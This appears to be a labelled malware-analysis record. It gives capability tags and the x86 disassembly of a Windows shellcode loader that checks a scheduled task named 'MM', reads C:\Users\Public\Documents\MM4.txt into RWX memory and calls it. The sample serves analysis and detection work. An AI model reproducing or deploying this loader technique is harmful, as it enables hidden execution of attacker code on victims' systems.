Function at 0x10024110
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009d432
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov al, byte [ebp - 0xd]
xor esi, esi
mov byte [ebp - 0x3c], al
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov cl, byte [ebp - 0xd]
mov edi, str.schtasks__Query__TN_MM
mov byte [ebp - 0x2c], cl
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x28], esi
push ecx
push str.schtasks__Query__TN_MM
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
lea edx, [ebp - 0x3c]
lea eax, [ebp - 0x2c]
push edx
push eax
mov byte [ebp - 4], 1
call fcn.10023f30
add esp, 8
test eax, eax
je 0x1002427b
mov edi, 0x10124e90
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
mov dword [ebp - 0x1c], edi
je 0x10024217
mov ebx, dword [ebp - 0x34]
cmp ebx, esi
jbe 0x10024210
cmp edi, ebx
ja 0x10024210
movsx edx, byte [0x10124e90]
mov eax, dword [ebp - 0x38]
mov ecx, 1
sub ecx, edi
mov dword [ebp - 0x14], eax
add ebx, ecx
push ebx
push edx
push eax
call dword [sym.imp.MSVCRT.dll_memchr]
add esp, 0xc
cmp eax, esi
je 0x10024210
jmp 0x100241d7
mov edi, dword [ebp - 0x1c]
mov ecx, edi
mov edi, 0x10124e90
mov esi, eax
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x1002429f
mov ecx, dword [ebp - 0x14]
movsx edx, byte [0x10124e90]
sub ecx, eax
inc eax
mov dword [ebp - 0x14], eax
lea ebx, [ebx + ecx - 1]
push ebx
push edx
push eax
call dword [sym.imp.MSVCRT.dll_memchr]
add esp, 0xc
test eax, eax
jne 0x100241d4
xor esi, esi
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov eax, dword [eax]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [ecx]
jne 0x1002427b
push esi
push 0x80
push 4
push esi
push 1
push SysReAllocString
push str.C:UsersPublicDocumentsMM4.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [ebp - 0x18]
push 0
push edx
push edi
push eax
push esi
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x1c]
call eax
popal
xor esi, esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x28]
cmp ecx, esi
je 0x100242b5
mov al, byte [ecx - 1]
test al, al
je 0x100242ab
cmp al, 0xff
je 0x100242ab
dec al
mov byte [ecx - 1], al
jmp 0x100242b5
mov ecx, dword [ebp - 0x38]
sub eax, ecx
xor esi, esi
jmp 0x10024217
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x28], esi
cmp ecx, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
je 0x1002412e
mov al, byte [ecx - 1]
test al, al
je 0x100242de
cmp al, 0xff
je 0x100242de
dec al
mov byte [ecx - 1], al
jmp 0x1002412e
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
jmp 0x1002412e